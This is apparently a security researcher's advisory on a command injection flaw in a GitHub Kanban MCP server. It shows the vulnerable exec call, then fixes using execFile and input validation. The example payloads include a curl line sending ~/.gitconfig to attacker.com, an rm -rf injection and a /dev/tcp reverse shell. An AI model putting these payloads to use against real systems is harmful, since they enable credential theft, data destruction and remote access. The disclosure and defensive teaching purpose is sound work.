GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows

Model Context Protocol (MCP) Servers have emerged as a crucial bridge between AI agents and GitHub’s functionality, enabling developers to manage issues, comments, and project boards through conversational interfaces. These servers allow AI assistants to perform, for example, complex GitHub operations like creating issues, adding comments, changing issue states, and managing kanban boards without requiring developers to leave their AI-powered development environment, because they can do that using natural language by typing it into the IDE chat interface.

So far, that’s nice and MCPs are fun. However, this powerful integration introduces significant security risks when MCP Servers are not properly secured. A critical command injection vulnerability has been discovered in the GitHub Kanban MCP Server, a tool designed to provide AI agents with comprehensive GitHub issue and project management capabilities. This vulnerability demonstrates how GitHub integration tools can become dangerous attack vectors when they improperly handle user input in shell command execution.

Understanding the GitHub Kanban MCP Server Architecture

The GitHub Kanban MCP Server provides AI agents with the ability to interact with GitHub repositories through the GitHub CLI (gh command). This includes operations like:

Adding comments to issues
Changing issue states (open/closed)
Managing project boards
Querying issue information
Automating kanban workflows

The server acts as a wrapper around the GitHub CLI, translating AI agent requests into appropriate gh commands. While this approach provides powerful functionality, it also creates opportunities for command injection when user input is not properly sanitized.

Anatomy of the Command Injection Vulnerability

The vulnerability exists in the add_comment tool, which allows AI agents to add comments to GitHub issues and optionally change their state. The security flaw occurs in the data flow from the tool definition to the underlying command execution.

Let’s examine the vulnerable code path:

An MCP Tool Definition (Vulnerable Entry Point)

// Tool handler that accepts user input
server.tool(
  "add_comment",
  "Add a comment to a GitHub issue",
  {
    repo: z.string().describe("Repository name"),
    issue_number: z.string().describe("Issue number"),
    body: z.string().describe("Comment body"),
    state: z.enum(['open', 'closed']).optional().describe("Issue state")
  },
  async (args) => {
    return await handleAddComment(args);
  }
);

Vulnerable Implementation

export async function handleAddComment(args: {
  repo: string;
  issue_number: string;
  body: string;
  state?: 'open' | 'closed';
}): Promise<ToolResponse> {
  const tempFile = 'comment_body.md';

  try {
    // Status change processed first - VULNERABLE
    if (args.state) {
      try {
        const command = args.state === 'closed' ? 'close' : 'reopen';
        await execAsync(
          `gh issue ${command} ${args.issue_number} --repo ${args.repo}`
        );
      } catch (error) {
        // Error handling...
      }
    }

    // Comment addition logic follows...
  } catch (error) {
    // Error handling...
  }
}

The critical flaw is in the direct string interpolation of args.issue_number and args.repo into the shell command without any sanitization or validation.

Exploitation Techniques and Attack Scenarios

This vulnerability can be exploited through multiple parameters, creating several attack vectors:

1. Issue Number Parameter Injection

The issue_number parameter is particularly dangerous as it’s directly concatenated into the command:

# Malicious input: "123; curl http://attacker.com/steal -d $(cat ~/.gitconfig); #"

# Resulting command with --repo target/repo
gh issue close 123; curl http://attacker.com/steal -d $(cat ~/.gitconfig);

This payload would:

Close issue #123 (original intended action)
Exfiltrate the user’s Git configuration to an attacker-controlled server
Comment out the rest of the command with #

2. Repository Parameter Exploitation

The repo parameter can also be exploited for command injection:

# Malicious input: "owner/repo; rm -rf ~/Projects; #"
# Resulting command:
gh issue close 123 --repo owner/repo; rm -rf ~/Projects; #

3. Advanced Persistent Threats

More sophisticated attacks could establish persistent access:

# Backdoor installation via issue_number:
"123; echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | base64 -d | bash; #"

Secure Implementation Patterns for MCP Servers

Based on the security principles I’ve outlined in my Node.js Secure Coding research, here are essential practices for securing MCP Server tool implementations:

1. Safe Command Execution with execFile

Replace exec() with execFile() to separate commands from arguments:

const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

async function secureHandleAddComment(args) {
  if (args.state) {
    const command = args.state === 'closed' ? 'close' : 'reopen';
    const ghArgs = ['issue', command, args.issue_number, '--repo', args.repo];

    try {
      const { stdout, stderr } = await execFileAsync('gh', ghArgs);
      return { stdout, stderr };
    } catch (error) {
      throw new Error(`GitHub operation failed: ${error.message}`);
    }
  }
}

2. Comprehensive Input Validation

Implement strict validation for all GitHub-related parameters:

function validateIssueNumber(issueNumber) {
  // Issue numbers should be positive integers
  const parsed = parseInt(issueNumber, 10);
  if (isNaN(parsed) || parsed <= 0 || parsed > 999999) {
    throw new Error('Invalid issue number format');
  }
  return parsed.toString();
}

function validateRepoName(repo) {
  // GitHub repo format: owner/repository
  const repoPattern = /^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/;
  if (!repoPattern.test(repo) || repo.length > 100) {
    throw new Error('Invalid repository name format');
  }
  return repo;
}

function validateIssueState(state) {
  const validStates = ['open', 'closed'];
  if (!validStates.includes(state)) {
    throw new Error('Invalid issue state');
  }
  return state;
}

3. Defense in Depth with Allowlisting

Implement command allowlisting and input sanitization:

// Allowed GitHub CLI commands
const ALLOWED_GH_COMMANDS = ['issue', 'pr', 'repo', 'auth'];

function validateGitHubCommand(command) {
  if (!ALLOWED_GH_COMMANDS.includes(command)) {
    throw new Error(`GitHub command ${command} not allowed`);
  }
}

Responsible Disclosure and Current Status

This vulnerability has been identified and is being addressed through responsible disclosure processes. Currently, no versions of the GitHub Kanban MCP Server have been patched, making it crucial for users to implement additional security measures or avoid using the vulnerable functionality until a fix is available.

The discovery of this vulnerability highlights the importance of security research in the rapidly evolving MCP ecosystem, particularly for tools that integrate with critical development infrastructure like GitHub.

Securing AI-Powered Development Tools

The GitHub Kanban MCP Server vulnerability demonstrates that even specialized development tools can introduce significant security risks when they improperly handle command execution. As AI-powered development tools become more prevalent, maintaining security awareness becomes increasingly critical.

By implementing proper input validation, using safe command execution patterns, and applying defense-in-depth strategies, we can build GitHub integration tools that are both powerful and secure. The key is treating security as a fundamental requirement from the design phase rather than an afterthought.

The intersection of AI agents and development infrastructure creates new attack surfaces that require careful consideration and robust security measures. As the MCP ecosystem continues to evolve, security must remain a top priority for all implementations.

For comprehensive guidance on Node.js security and secure coding practices, explore my resources at my Node.js Security website to follow my ongoing security research.